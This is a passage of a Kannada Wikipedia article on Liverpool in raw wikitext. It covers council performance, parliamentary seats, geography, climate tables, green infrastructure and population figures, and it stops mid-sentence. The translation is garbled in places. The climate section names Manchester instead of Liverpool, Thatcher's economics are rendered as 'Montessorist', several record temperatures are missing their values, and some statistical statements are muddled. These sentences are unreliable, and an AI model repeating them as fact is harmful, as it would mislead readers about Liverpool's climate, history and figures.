ಫೆಬ್ರವರಿ 2008 ರಲ್ಲಿ, ಲಿವರ್‌ಪೂಲ್ ನಗರ ಮಂಡಳಿಯು ಕೇವಲ ಒಂದು-ಸ್ಟಾರ್ ರೇಟಿಂಗ್ ಅನ್ನು (ಅಸಮರ್ಪಕ ಎಂಬುದಾಗಿ ವಿಂಗಡಿಸಲ್ಪಟ್ಟ) ಪಡೆದುಕೊಂಡ ದೇಶದಲ್ಲಿ ಅತ್ಯಂತ-ಕೆಟ್ಟದಾಗಿ ಕಾರ್ಯನಿರ್ವಹಿಸುವ ಮಂಡಳಿ ಎಂಬ ಅಂಶವನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿತು. ಅತ್ಯಂತ ಕಡಿಮೆ ರೇಟಿಂಗ್‌ಗೆ ಪ್ರಮುಖ ಕಾರಣವು ಟ್ಯಾಕ್ಸ್-ನೀಡುವ ಹಣದ ವಿಷಯದಲ್ಲಿ ಕೌನ್ಸಿಲ್‌ನ ಅಸಮರ್ಪಕ ನಿರ್ವಹಣೆ ಎಂಬುದಾಗಿ ಆರೋಪಿಸಲ್ಪಟ್ಟಿತು, ಅದರ ಜೊತೆಗೆ ಸಾಂಸ್ಕೃತಿಕ ನಿಧಿಯ ಹಣದದಲ್ಲಿ ಒಂದು £20m ನ ಕಡಿಮೆ ಪ್ರಮಾಣವೂ ಸೇರಲ್ಪಟ್ಟಿತು.<ref>{{Cite web|last=Coligan |first=Nick |title=Official: Liverpool city council is worst – yes, the WORST – in the country |publisher=[[Liverpool Echo]] |date=2008-02-07 |url=http://www.liverpoolecho.co.uk/liverpool-news/local-news/2008/02/07/official-liverpool-city-council-is-worst-yes-the-worst-in-the-country-100252-20446758/ |accessdate=2008-09-23}}</ref> ಐತಿಹಾಸಿಕವಾಗಿ, ಲಿವರ್‌ಪೂಲ್‍ನಲ್ಲಿ ಕನ್ಸರ್ವೇಟೀವ್ ಪಕ್ಷಕ್ಕೆ ಬೆಂಬಲವು ಬ್ರಿಟನ್‌ನ ಇತರ ಎಲ್ಲ ಪಕ್ಷಗಳಿಗಿಂತ ಕಡಿಮೆ ಪ್ರಮಾಣದಲ್ಲಿತ್ತು, ನಿರ್ದಿಷ್ಟವಾಗಿ ಹೇಳುವುದಾದರೆ 1979 ರ ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆಯಲ್ಲಿ ಜಯಗಳಿಸಿದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಮಾರ್ಗರೇಟ್ ಥ್ಯಾಚರ್ ಮೊಂಟೆಸರಿಸ್ಟ್ ಆರ್ಥಿಕ ನಿಯಮಗಳು ನಗರದಲ್ಲಿ ಹೆಚ್ಚಿನ ನಿರುದ್ಯೋಗಕ್ಕೆ ಕಾರಣವಾದವು, ಈ ಪ್ರಮಾಣಗಳು ಹಲವಾರು ವರ್ಷಗಳ ಕಾಲ ಕೆಳಕ್ಕಿಳಿಯಲ್ಪಡಲಿಲ್ಲ.<ref>[http://www.liverpoolecho.co.uk/liverpool-news/local-news/2008/07/21/the-real-legacy-of-margaret-thatcher-is-a-nation-divided-100252-21375195/ ]</ref> ಲಿವರ್‌ಪೂಲ್ ಲೇಬರ್ ಪಕ್ಷದ ಒಂದು ಶಕ್ತಿಶಾಲಿ ಪ್ರದೇಶವಾಗಿದೆ; ಆದಾಗ್ಯೂ ನಗರವು ಲೇಬರ್ ಸರ್ಕಾರಗಳ ಅವಧಿಯಲ್ಲಿಯೂ ಕೂಡ ಸಂಕಷ್ಟಕರ ಸನ್ನಿವೇಶಗಳನ್ನು ಎದುರಿಸಿತು, ಪ್ರಮುಖವಾಗಿ ವಿಂಟರ್ ಆಫ್ ಡಿಸ್‌ಕಂಟೆಂಟ್ (1978ರ ಕೊನೆಯಲ್ಲಿ ಮತ್ತು 1979ರ ಪ್ರಾರಂಭದಲ್ಲಿ) ಈ ಸಮಯದಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್ ಹಾಗೆಯೇ ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್‌ಅನ್ ಇತರ ಭಾಗಗಳು ಸಾರ್ವಜನಿಕ ವಿಭಾಗಗಳ ಮುಷ್ಕರಗಳಿಂದ ನಷ್ಟವನ್ನು ಅನುಭವಿಸಿದವು ಆದರೆ ಮರಣ ಹೊಂದಿದವರ ಅಂತ್ಯಸಂಸ್ಕಾರವನ್ನು ಮಾಡದೆಯೇ ಗ್ರೇವ್-ಡಿಗ್ಗರ್‌ಗಳು ಮುಷ್ಕರವನ್ನು ಮುಂದುವರೆಸುವ ದುರದೃಷ್ಟವೂ ಕಂಡುಬಂದಿತು.<ref>[http://news.bbc.co.uk/1/hi/3067563.stm ]</ref> ===ಪಾರ್ಲಿಮೆಂಟರಿ ಚುನಾವಣಾ ಕ್ಷೇತ್ರಗಳು ಮತ್ತು ಎಮ್‌ಪಿ ಗಳು=== {{See also|List of Parliamentary constituencies on Merseyside}} ಲಿವರ್‌ಪೂಲ್ ತನ್ನ ನಗರದ ಒಳಗೇ ನಾಲ್ಕು ಪಾರ್ಲಿಮೆಂಟರಿ ಚುನಾವಣಾ ಕ್ಷೇತ್ರಗಳನ್ನು ಹೊಂದಿದೆ, ಅದರ ಮೂಲಕ ಪಾರ್ಲಿಮೆಂಟ್‌ನ ಸದಸ್ಯರುಗಳು (ಎಮ್‌ಪಿ ಗಳು) ವೆಸ್ಟ್‌ಮಿನಿಸ್ಟರ್‌ನಲ್ಲಿ ನಗರವನ್ನು ಪ್ರತಿನಿಧಿಸುವುದಕ್ಕೆ ಆಯ್ಕೆಮಾಡಲ್ಪಟ್ಟಿರುತ್ತಾರೆ: ಲಿವರ್‌ಪೂಲ್ ರಿವರ್‌ಸೈಡ್, ಲಿವರ್‌ಪೂಲ್ ವಾಲ್ಟನ್, ಲಿವರ್‌ಪೂಲ್ ವೇವರ್‌ಟ್ರೀ ಮತ್ತು ಲಿವರ್‌ಪೂಲ್ ವೆಸ್ಟ್ ಡರ್ಬಿ.<ref>{{Cite web |title=Liverpool Members of Parliament |publisher=Liverpool City Council |url=http://www.liverpool.gov.uk/Council_government_and_democracy/MPs_and_MEPs/Liverpool_MPs/index.asp |accessdate=2008-07-03 |archiveurl=https://web.archive.org/web/20080907071841/https://www.liverpool.gov.uk/Council_government_and_democracy/MPs_and_MEPs/Liverpool_MPs/index.asp |archivedate=2008-09-07 |url-status=dead }}</ref> ಕೊನೆಯ ಸಾರ್ವತ್ರಿಕ ಚುನಾವಣೆಯಲ್ಲಿ, ಎಲ್ಲವೂ ಲೇಬರ್ ಮೂಲಕ ಜಯಗಳಿಸಲ್ಪಟ್ಟವು, ಜೊತೆಗೆ ಅನುಕ್ರಮವಾಗಿ ಲೂಯೀಸ್ ಎಲ್‌ಮ್ಯಾನ್, ಸ್ಟೀವ್ ರೋಥೆರಮ್, ಲ್ಯೂಸಿಯಾನಾ ಬರ್ಜರ್ ಮತ್ತು ಸ್ಟೀಫನ್ ಟ್ವಿಗ್ ಇವರುಗಳ ಪ್ರಾತಿನಿಧಿಕತೆಯೂ ಸೇರಿಕೊಂಡಿತ್ತು. 2010 ರ ಚುನಾವಣೆಗೂ ಮುಂಚೆ ಗಡಿಗಳ ಬದಲಾವಣೆಗಳ ಕಾರಣದಿಂದಾಗಿ, ಲಿವರ್‌ಪೂಲ್ ಗ್ಯಾರ್ಸ್ಟನ್ ಚುನಾವಣಾ ಕ್ಷೇತ್ರವು ಹೆಚ್ಚಿನ ನಾಸ್ಲೇಯ್ ಸೌತ್ ಜೊತೆಗೆ ಗ್ಯಾರ್ಸ್ಟನ್ ಮತ್ತು ಹೇಲ್‌ವುಡ್ ಕ್ರಾಸ್-ಬೌಂಡರಿ ಸಿಟ್ ಅನ್ನು ನಿರ್ಮಿಸುವುದಕ್ಕೆ ಸಂಯೋಜಿಸಲ್ಪಟ್ಟವು. ತೀರಾ ಇತ್ತೀಚಿನ ಚುನಾವಣೆಯಲ್ಲಿ ಈ ಸೀಟ್ ಲೇಬರ್ ಪಕ್ಷದ ಮಾರಿಯಾ ಈಗಲ್‌ರಿಂದ ಗೆಲ್ಲಲ್ಪಟ್ಟಿತು.<ref name="Election 2010 - Garston & Halewood">{{Cite news|url=http://news.bbc.co.uk/nol/shared/election2010/results/constituency/b80.stm|title=Election 2010 – Garston & Halewood|publisher=BBC News|accessdate=9 May 2010}}</ref> ==ಭೂವಿವರಣೆ== ಲಿವರ್‌ಪೂಲ್ ಯಾವುದೇ ಇಂಗ್ಲೀಶ್ ನಗರಗಳಿಗಿಂತ "ಸೊಗಸಾದ ಪ್ರದೇಶಗಳನ್ನು ಹೊಂದಿದೆ" ಎಂದು ವ್ಯಾಖ್ಯಾನಿಸಲಾಗಿದೆ."<ref>ದಿ ಬಿಲ್ಡಿಂಗ್ಸ್ ಆಫ್ ಇಂಗ್ಲಂಡ್ –ಲಂಕಾಶೈರ್: ಲಿವರ್‌ಪೂಲ್ ಆಂಡ್ ದಿ ಸೌತ್‌ವೆಸ್ಟ್ -ರಿಚರ್ಡ್ ಪೊಲಂಡ್, ನಿಕೊಲಸ್ ಪೆವ್‌ಸ್ನರ್, ಯೇಲ್ ಯುನಿವರ್ಸಿಟಿ ಪ್ರೆಸ್, 2006, p243</ref> {{Coord|53|24|0|N|2|59|0|W|city}}(53.4, −2.98), ಲಂಡನ್‌ನ ನಾರ್ಥ್‌ವೆಸ್ಟ್‌ನಲ್ಲಿದೆ. ಲಿವರ್‌ಪೂಲ್ ನಗರವು ಮರಳುಗಲ್ಲು ಬೆಟ್ಟಗಳ ಪರ್ವತಶ್ರೇಣಿಯ ಅಂಚಿನಲ್ಲಿ ಮತ್ತು ಸಮುದ್ರ ಮಟ್ಟದಿಂದ ಎವರ್ಟನ್‌ ಬೆಟ್ಟದವರೆಗೆ ಸುಮಾರು 230 ಅಡಿ (70 ಮೀ) ಎತ್ತರದಲ್ಲಿದೆ. ದಕ್ಷಿಣ ಭಾಗದಲ್ಲಿ ವೆಸ್ಟ್ ಲ್ಯಾಂಕಾಶೈರ್ ಕೋಸ್ಟಲ್ ಪ್ಲೇನ್ ಗಡಿಯನ್ನು ಹೊಂದಿದೆ. ಲಿವರ್‌ಪೂಲ್ ನಗರ ಪ್ರದೇಶವು ನೇರವಾಗಿ ಬೂಟಲ್, ಕ್ರಾಸ್ಬಿ ಮತ್ತು ಮಘುಲ್ ಜೊತೆ ಸಂಪರ್ಕ ಹೊಂದಿದ್ದು ದಕ್ಷಿಣದಿಂದ ಉತ್ತರಕ್ಕೆ ಸೆಫ್ಟಾನ್, ಕರ್ಕ್ಬಿ, ಹ್ಯುಟಾನ್, ಪ್ರಿಸ್ಕಾಟ್ ಮತ್ತು ಹಾಲೆವುಡ್ , ಪೂರ್ವಕ್ಕೆ ನೋಸ್ಲೆ ಹೊಂದಿದೆ. ಇದಕ್ಕೆ ಅಭಿಮುಖವಾಗಿ ಪಶ್ಚಿಮ ದಿಕ್ಕಿಗೆ ಮರ್ಸಿ ನದಿಗುಂಟ ವಲೆಸಿ ಮತ್ತು ಬರ್ಕನ್‌ಹೆಡ್ ಇದೆ. ===ಹವಾಮಾನ=== ಬ್ರಿಟಿಷ್‌ ದ್ವೀಪಗಳ ಬಹಳಷ್ಟು ಭಾಗಗಳಂತೆಯೇ ಮ್ಯಾಂಚೆಸ್ಟರ್‌ ಸಮಶೀತೋಷ್ಣ ಕಡಲ ಹವಾಗುಣವನ್ನು ಹೊಂದಿದೆ. ಇದರಲ್ಲಿ ತಂಪಾದ ಬೇಸಿಗೆ ಮತ್ತು ಸೌಮ್ಯವಾದ ಚಳಿಗಾಲವಿರುತ್ತದೆ. ಇದರ ಕಡಲ ತೀರದ ಮತ್ತು ನಗರ ಪ್ರದೇಶದ ದಿನನಿತ್ಯದ ತಾಪಮಾನವು ಸೌಮ್ಯವಾಗಿದ್ದು ಸರಾಸರಿ 7.0 ಸೆಲ್ಸಿಯಸ್ ಇದ್ದು ಮೇಯಿಂದ ಡಿಸೆಂಬರ್ ತನಕ ಕೇವಲ 3.8 ಸೆಲ್ಸಿಯಸ್ ಇರುತ್ತದೆ. ಚಾರಿತ್ರಿಕವಾಗಿ, ಬಿಡ್ಸ್‌ಟನ್ ಒಬ್ಸರ್ವೇಟರಿಯು ಮರ್ಸಿ ಪ್ರದೇಶದಲ್ಲಿ (ವೈರಲ್ ಪೆನಿಸ್ಸುಲಾದಲ್ಲಿದೆ) ದೀರ್ಘಕಾಲದ ಮತ್ತು ಸತತವಾದ ಹವಾಮಾನ ಮಾಹಿತಿಯನ್ನು ಒದಗಿಸಿದೆ. ಇತ್ತಿಚೀಗೆ, ಕ್ರಾಸ್ಬಿಯಲ್ಲಿ ಮೆಟ್ ಆಫೀಸ್ ಹವಾಮಾನ ಕೇಂದ್ರವನ್ನು ನೋಡಿಕೊಳ್ಳುತ್ತಿದೆ. ಅತಿ ಕಡಿಮೆ ತಾಪಮಾನವು ಬಿಡ್‌ಸ್ಟನ್‌ನಲ್ಲಿ ಜನವರಿ 1881ರಲ್ಲಿ ದಾಖಲಾಗಿದೆ, ವರ್ಷದ ಅತ್ಯಂತ ತಂಪಾದ ರಾತ್ರಿ (1971-2000 ಸುಮಾರು)ರಷ್ಟಿತ್ತು . ಆದರೂ ಡಿಸೆಂಬರ್ 2010ರ ಸಮಯದಲ್ಲಿ ಸ್ಥಳೀಯ ಹವಾಮಾನದಲ್ಲಿನ ಏರಿಳಿತವು ಕ್ರಾಸ್ಬಿ ಹವಾಮಾನ ಕೇಂದ್ರದಲ್ಲಿ <ref>{{cite web |url=http://www.tutiempo.net/en/Climate/CROSBY/21-12-2010/33160.htm |title= Dec 2010 Minimum |accessdate=2011-03-22}}</ref> ರಷ್ಟು ದಾಖಲಾಗಿದೆ. ಅಗಸ್ಟ್ 1990ರಲ್ಲಿ ಬಿಡ್‌ಸ್ಟನ್‌ನಲ್ಲಿ ರಷ್ಟು ಅಧಿಕ ತಾಪಮಾನ ದಾಖಲಾಗಿದೆ. ವರ್ಷದ ಅತ್ಯಂತ ಸೆಕೆಯ ದಿನ (1971-2000 ಸರಿಸುಮಾರು)ಗೆ ತಲುಪಿತ್ತು. ರಷ್ಟು ಅತ್ಯಂತ ಗರಿಷ್ಠ ತಾಪಮಾನ ಕ್ರಾಸ್ಬಿಯಲ್ಲಿ ಜುಲೈ 2006ರಲ್ಲಿ ದಾಖಲಾಗಿದೆ.<ref>{{cite web |url=http://www.tutiempo.net/en/Climate/CROSBY/19-07-2006/33160.htm |title= Jul 2006 Maximum |accessdate=2011-03-22}}</ref> {{Weather box|location = Bidston Observatory, elevation 7m, Temp averages 1976-2002, Rain & Sun averages 1971-2000, extremes 1867-2002 |collapsed = |metric first = y |single line = y |Jan record high C = 14.7 |Feb record high C = 16.6 |Mar record high C = 21.2 |Apr record high C = 25.3 |May record high C = 28.1 |Jun record high C = 30.7 |Jul record high C = 31.6 |Aug record high C = 34.5 |Sep record high C = 30.4 |Oct record high C = 24.6 |Nov record high C = 17.8 |Dec record high C = 15.8 |year record high C = 34.5 |Jan high C = 6.8 |Feb high C = 7.2 |Mar high C = 9.2 |Apr high C = 11.5 |May high C = 15.3 |Jun high C = 17.3 |Jul high C = 19.2 |Aug high C = 19.3 |Sep high C = 16.6 |Oct high C = 13.1 |Nov high C = 9.6 |Dec high C = 7.4 |year high C = |Jan low C = 2.6 |Feb low C = 2.6 |Mar low C = 4.1 |Apr low C = 5.4 |May low C = 8.3 |Jun low C = 10.9 |Jul low C = 13.1 |Aug low C = 13.1 |Sep low C = 11.2 |Oct low C = 8.5 |Nov low C = 5.6 |Dec low C = 3.6 |year low C = |Jan record low C = −12.8 |Feb record low C = −11.3 |Mar record low C = −7.5 |Apr record low C = −5.0 |May record low C = 0.0 |Jun record low C = 3.4 |Jul record low C = 6.6 |Aug record low C = 5.2 |Sep record low C = 3.7 |Oct record low C = −2.9 |Nov record low C = −5.3 |Dec record low C = −10.7 |year record low C = −12.8 |Jan precipitation mm = 61.65 |Feb precipitation mm = 48.91 |Mar precipitation mm = 51.86 |Apr precipitation mm = 43.86 |May precipitation mm = 50.83 |Jun precipitation mm = 63.07 |Jul precipitation mm = 46.08 |Aug precipitation mm = 59.25 |Sep precipitation mm = 61.50 |Oct precipitation mm = 60.58 |Nov precipitation mm = 60.34 |Dec precipitation mm = 68.82 |year precipitation mm = 684.37 |Jan sun = 56.0 |Feb sun = 70.3 |Mar sun = 105.1 |Apr sun = 154.2 |May sun = 207.0 |Jun sun = 191.5 |Jul sun = 197.0 |Aug sun = 175.2 |Sep sun = 132.7 |Oct sun = 97.3 |Nov sun = 65.8 |Dec sun = 46.8 |year sun = 1499.1 |source 1 = National Oceanography Centre <ref>{{cite web | url=http://www.pol.ac.uk/appl/hist_met/ | title=Climate Normals and extremes | publisher=National Oceanography centre | accessdate=22 mar 2011 | archive-date=24 ಫೆಬ್ರವರಿ 2011 | archive-url=https://web.archive.org/web/20110224035445/http://www.pol.ac.uk/appl/hist_met/ | url-status=dead }}</ref> |date=March 2011}} {{Weather box |location = Liverpool |metric first = Yes |single line = Yes |Jan record high C = 13 |Feb record high C = 15 |Mar record high C = 17 |Apr record high C = 26 |May record high C = 27 |Jun record high C = 32 |Jul record high C = 32 |Aug record high C = 33 |Sep record high C = 27 |Oct record high C = 23 |Nov record high C = 16 |Dec record high C = 15 |Jan record high F = 57 |Feb record high F = 59 |Mar record high F = 64 |Apr record high F = 79 |May record high F = 82 |Jun record high F = 90 |Jul record high F = 91 |Aug record high F = 93 |Sep record high F = 82 |Oct record high F = 75 |Nov record high F = 61 |Dec record high F = 59 |year record high C = 33 |year record high F = 93 |Jan high C = 6.6 |Feb high C = 6.6 |Mar high C = 9.4 |Apr high C = 11.6 |May high C = 15.5 |Jun high C = 17.7 |Jul high C = 20 |Aug high C = 19.4 |Sep high C = 16.6 |Oct high C = 12.7 |Nov high C = 9.4 |Dec high C = 7.7 |year high C = 12.7 |Jan mean C = 5 |Feb mean C = 4 |Mar mean C = 7 |Apr mean C = 8 |May mean C = 12 |Jun mean C = 14 |Jul mean C = 17 |Aug mean C = 16 |Sep mean C = 14 |Oct mean C = 11 |Nov mean C = 7 |Dec mean C = 6 |year mean C = 10 |Jan low C = 2.2 |Feb low C = 2.2 |Mar low C = 3.3 |Apr low C = 4.4 |May low C = 7.2 |Jun low C = 10.5 |Jul low C = 12.7 |Aug low C = 12.2 |Sep low C = 10 |Oct low C = 7.2 |Nov low C = 4.4 |Dec low C = 3.3 |year low C = 6.6 |Jan record low C = -10 |Feb record low C = -7 |Mar record low C = -6 |Apr record low C = -2 |May record low C = 0 |Jun record low C = 0 |Jul record low C = 7 |Aug record low C = 5 |Sep record low C = 0 |Oct record low C = -2 |Nov record low C = -5 |Dec record low C = -13 |Jan record low F = 14 |Feb record low F = 19 |Mar record low F = 21 |Apr record low F = 27 |May record low F = 32 |Jun record low F = 32 |Jul record low F = 45 |Aug record low F = 41 |Sep record low F = 32 |Oct record low F = 27 |Nov record low F = 23 |Dec record low F = 9 |year record low C = -13 |year record low F = 9 |Jan rain mm = 97 |Feb rain mm = 94 |Mar rain mm = 101 |Apr rain mm = 85 |May rain mm = 68 |Jun rain mm = 71 |Jul rain mm = 40 |Aug rain mm = 55 |Sep rain mm = 44 |Oct rain mm = 61 |Nov rain mm = 78 |Dec rain mm = 65 |year rain mm = 859 |Jan snow days = 6 |Feb snow days = 5 |Mar snow days = 4 |Apr snow days = 2 |May snow days = 0 |Jun snow days = 0 |Jul snow days = 0 |Aug snow days = 0 |Sep snow days = 0 |Oct snow days = 0 |Nov snow days = 1 |Dec snow days = 4 |Jan precipitation days = 25 |Feb precipitation days = 22 |Mar precipitation days = 26 |Apr precipitation days = 23 |May precipitation days = 22 |Jun precipitation days = 22 |Jul precipitation days = 23 |Aug precipitation days = 23 |Sep precipitation days = 24 |Oct precipitation days = 24 |Nov precipitation days = 23 |Dec precipitation days = 25 |Jan sun = 62 |Feb sun = 56 |Mar sun = 124 |Apr sun = 150 |May sun = 186 |Jun sun = 210 |Jul sun = 186 |Aug sun = 155 |Sep sun = 129 |Oct sun = 93 |Nov sun = 60 |Dec sun = 31 |year sun = 1442 |source 1 = <ref name="Liverpool climate">{{Cite web|url=http://www.myforecast.com/bin/climate.m?city=60872&metric=true|title=Historical weather for Liverpool, England, United Kingdom|accessdate=2010-12-02|publisher=My Forecast}}</ref><br>Rainfall:<ref name="Liverpool rainfall">{{Cite web|url=http://www.wordtravels.com/Cities/England/Liverpool/Climate|title=Historical rainfall for Liverpool, England, United Kingdom|accessdate=2010-12-02|publisher=Wordtravels}}</ref><br>Sunshine:<ref name="Liverpool sunshine">{{Cite web|url=http://www.holidaycheck.com/climate-wetter_Liverpool-ebene_oid-id_9053.html|title=Historical sunshine hours for Liverpool, England, United Kingdom|accessdate=2010-12-02|publisher=HolidayCheck}}</ref> |date = December 2010}} ===ಗ್ರೀನ್ ಲಿವರ್‌ಪೂಲ್=== 2010ರಲ್ಲಿ ಲಿವರ್‌ಪೂಲ್ ಸಿಟಿ ಕೌನ್ಸಿಲ್ ಮತ್ತು ಪ್ರೈಮರಿ ಕೇರ್ ಟ್ರಸ್ಟ್‌ ಕಮಿಷನ್ ಇದು [http://www.merseyforest.org.uk ಮರ್ಸಿ ಫಾರೆಸ್ಟ್‌] ಗೆ ಹಸಿರು ಮೂಲಭೂತ ಸೌಕರ್ಯಕ್ಕಾಗಿ ವಿವಿಧ ಯೋಜನೆಗಳನ್ನು ರೂಪಿಸಿತು.<ref>ಲಿವರ್‌ಪೂಲ್ ಗ್ರೀನ್ ಇನ್ಫ್ರಾಸ್ಟ್ರಕ್ಚರ್ ಸ್ಟ್ರಾಟಜಿ - www.ginw.co.uk/liverpool</ref> ==ಜನಸಂಖ್ಯಾ ವಿವರ== {{Main|Demography of Liverpool}} [[File:Liverpool population history.jpg|thumb|right|ಲಿವರ್‌ಪೂಲ್‌ನ ಜನಸಂಖ್ಯೆ, 1801–2001]] [[File:Paifang.jpg|thumb|right|ಚೈನಾಟೌನ್‌ಗೆ ಇರುವ ಆಭರಣಗಳಿಂದ ಅಲಕೃತವಾದ ಗೇಟ್. ಲಿವರ್‌ಪೂಲ್]] ಇತರೆ ಪ್ರಮುಖ ಬ್ರಿಟೀಷ್ ನಗರಗಳಂತೆ, ಲಿವರ್‌ಪೂಲ್ ಕೂಡ ಭಾರಿ ಮತ್ತು ಭಿನ್ನವಾದ ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿದೆ. 2001 ಯುಕೆ ಜನಗಣತಿ ಪ್ರಕಾರ ಲಿವರ್‌ಪೂಲ್ ಜನಸಂಖ್ಯೆ 441,900,<ref> {{Cite web|title=Resident Population Estimates Jun2001, All Persons|publisher=[[Office for National Statistics]] |date=2007-12-18 |url=http:// neighbourhood. statistics.gov.uk /dissemination/ LeadTableView.do?adminCompAndTimeId=22187%3A131&a=3&b=276787&c=liverpool&d= 13&r=1&e=13&f= 22194&o=74&g=359393&i =1001x1003 x1004 x1005&l=1813&m=0&s=1221897754789&enc=1 |accessdate=2008-09-20}}</ref> 2008 ರ ಮಧ್ಯಭಾಗದಲ್ಲಿ ಆಫೀಸ್ ಫಾರ್ ನ್ಯಾಷನಲ್ ಸ್ಟ್ಯಾಟಿಸ್ಟಿಕ್ಸ್ ಅಂದಾಜಿಸಿದಂತೆ ನಗರದ ಜನಸಂಖ್ಯೆ 434,900.<ref>{{Cite web|title= Resident Population Estimates, All Persons|publisher=[[Office for National Statistics]] |date=1 October 2009 |url=http://neighbourhood. statistics.gov.uk /dissemination/LeadTableView.do?a=3&b=276787&c=liverpool&d=13&e=13&g=359393&i=1001x1003x1004&m=0&r=1&s=1221897647445&enc=1&dsFamilyId=1813 |accessdate=21 January 2010}}</ref> ಲಿವರ್‌ಪೂಲ್‌ನ ಜನಸಂಖ್ಯೆ 1930ರ ಸುಮಾರಿಗೆ 846,101 ತಲುಪಬಹುದೆಂದು1931ರ ಜನಗಣತಿಯಲ್ಲಿ ದಾಖಲಾಗಿದೆ.<ref name="populationhistory">{{Cite web|url=http://www.visionofbritain. org.uk/data_cube_ table_page.jsp?data_theme=T_POP&data_cube=N_TPop&u_id=10105821&c_id=10001043&add=N|title=Liverpool District: Total Population|work=A Vision of Britain through Time|publisher=University of Portsmouth|accessdate=2008-08-07}}{{Dead link|date=ಸೆಪ್ಟೆಂಬರ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಪ್ರತಿ ದಶಕದ ನಗರದ ಬೆಳವಣಿಗೆಯ ಜನಸಂಖ್ಯೆಯಲ್ಲಿ ಅಭಾವ ಕಂಡುಬರುತ್ತಿದ್ದು, 1971 ಮತ್ತು 1981ರ ಅವಧಿಯಲ್ಲಿ ಇದರ ಗರಿಷ್ಠ ಅಂದಾಜು 100,000 ಕ್ಕಿಂತ ಜಾಸ್ತಿ ಇತ್ತು.<ref>{{Cite web |title=Liverpool District: Population Change |publisher=[[University of Portsmouth]] |url=http://vision.edina.ac.uk/data_cube_table_page.jsp?data_theme=T_POP&data_cube=N_Pop_Ch&u_ id=10105821&c_id= 10001043&add=N |accessdate=2008-09-23 }}{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> 2001ಮತ್ತು 2006ರ ಮಧ್ಯೆ ಯಾವುದೇ ಯುಕೆ ಏಕಾತ್ಮಕ ಅಧಿಕಾರಕ್ಕಿಂತಲೂ ಶೇಕಡಾ ಒಂಭತ್ತುರಷ್ಟು ಜನಸಂಖ್ಯೆ ಕಡಿಮೆಯಾಗಿದೆ.<ref name="population2006">{{Cite news|url=http://www.statistics.gov. uk/pdfdir/ popest0807. pdf|format=PDF|title=UK population grows to 60,587,000 in mid-2006|date=2007-08-22|publisher=Office for National Statistics|page=9|accessdate=2008-08-06|archiveurl=http://webarchive.nationalarchives.gov.uk/20070906180615/http://www.statistics.gov.uk/pdfdir/popest0807.pdf|archivedate=2007-09-06}}</ref> ಮರ್ಸಿ ಪಾರ್ಟ್‌ನರ್ಶಿಪ್ ವ್ಯಾಖ್ಯಾನಿಸಿದಂತೆ "ಲಿವರ್‌ಪೂಲ್ ನಗರ ಪ್ರದೇಶ"ವು ವಿರಲ್, ವಿರಿಂಗ್ಟನ್, ಫ್ಲಿಂಟ್‌ಶೈರ್, ಚೆಸ್ಟರ್ ಮತ್ತು ಇತರೆ ಪ್ರದೇಶಗಳನ್ನೊಳಗೊಂಡಿದೆ, ಇವೆಲ್ಲು ಕೂಡಿ ಇದರ ಜನಸಂಖ್ಯೆ ಸುಮಾರು 2 ಮಿಲಿಯನ್.<ref>{{Cite web|url=http://www.merseyside.org.uk/dbimgs/LCRD_44pp.pdf|title=Liverpool City Region: Development Programme Report 2006|location=Liverpool|publisher=[[The Mersey Partnership]]|page=10|year=2006|accessdate=13 July 2010|archive-date=18 ಜುಲೈ 2011|archive-url=https://web.archive.org/web/20110718022646/http://www.merseyside.org.uk/dbimgs/LCRD_44pp.pdf|url-status=dead}}</ref> ಹಲವಾರು ನಗರಗಳಂತೆ ಲಿವರ್‌ಪೂಲ್ ಜನಸಂಖ್ಯೆಯಲ್ಲಿ ಪೂರ್ಣವಾದ ಇಂಗ್ಲೆಂಡಿನ 37.4 ಗೆ ಹೋಲಿಸಿದಾಗ ಇದರ ಜನಸಂಖ್ಯೆಯ 42.3ರಷ್ಟು 30ಕ್ಕಿಂತ ಕಡಿಮೆ ವಯಸ್ಸಿನ ಯುವ ಜನಾಂಗವಾಗಿದೆ.<ref name="age">{{Cite web|url=http://www.neighbourhood.statistics.gov.uk/dissemination/LeadTableView.do?a=7&b=276787&c=liverpool&d=13&e=13&g=359393&i =1001x1003x1004&o=198&m=0&r=1&s= 1218016282764&enc=1&dsFamilyId=1818|title=Neighbourhood Statistics: Resident Population Estimates by Broad Age Band|publisher=Office for National Statistics|accessdate=2008-08-06|archive-date=2015-09-25|archive-url=https://web.archive.org/web/20150925235448/http://www.neighbourhood.statistics.gov.uk/dissemination/LeadTableView.do?a=7&b=276787&c=liverpool&d=13&e=13&g=359393&i|url-status=dead}}</ref> 65.1ರಷ್ಟು ಜನ ಕೆಲಸ ಮಾಡುವ ವಯೋಮಾನದವರಾಗಿದ್ದಾರೆ.<ref name="age" /> ===ಜನಾಂಗೀಯತೆ=== ಜೂನ್ 2007ರಲ್ಲಿ ಅಂದಾಜಿಸಿದಂತೆ ಲಿವರ್‌ಪೂಲ್'‌ನ ಜನಸಂಖ್ಯೆಲ್ಲಿ ಶೇ 91.5 ಬಿಳಿಯರು, ಶೇ 2.3 ಏಷಿಯನ್ ಅಥವಾ ಏಷಿಯನ್ ಬ್ರಿಟೀಶ್, ಶೇ 1.9 ಕಪ್ಪು ಅಥವಾ ಕಪ್ಪು ಬ್ರಿಟೀಶ್, ಶೇ 2.0 ಮಿಶ್ರ ಜನಾಂಗ ಮತ್ತು ಶೇ 2.3 ಚೈನೀಸ್ ಮತ್ತು ಇತರರು.<ref name="ethnicity">{{Cite web|url=http://www.neighbourhood.statistics.gov.uk/dissemination/LeadTableView.do?a=7&b=276787&c=liverpool&d =13&e=13&g =359393&i=1001x 1003x1004&m=0&r=1&s=1264021047892&enc=1&dsFamilyId=1812|title=Neighbourhood Statistics: Resident Population Estimates by Ethnic Group (Percentages)|publisher=Office for National Statistics|accessdate=2010-01-21|archive-date=2015-09-26|archive-url=https://web.archive.org/web/20150926013141/http://www.neighbourhood.statistics.gov.uk/dissemination/LeadTableView.do?a=7&b=276787&c=liverpool&d|url-status=dead}}</ref> ಸುಮಾರು 1730ರಿಂದ ಲಿವರ್‌ಪೂಲ್ ಬ್ರಿಟನ್ನಿನ 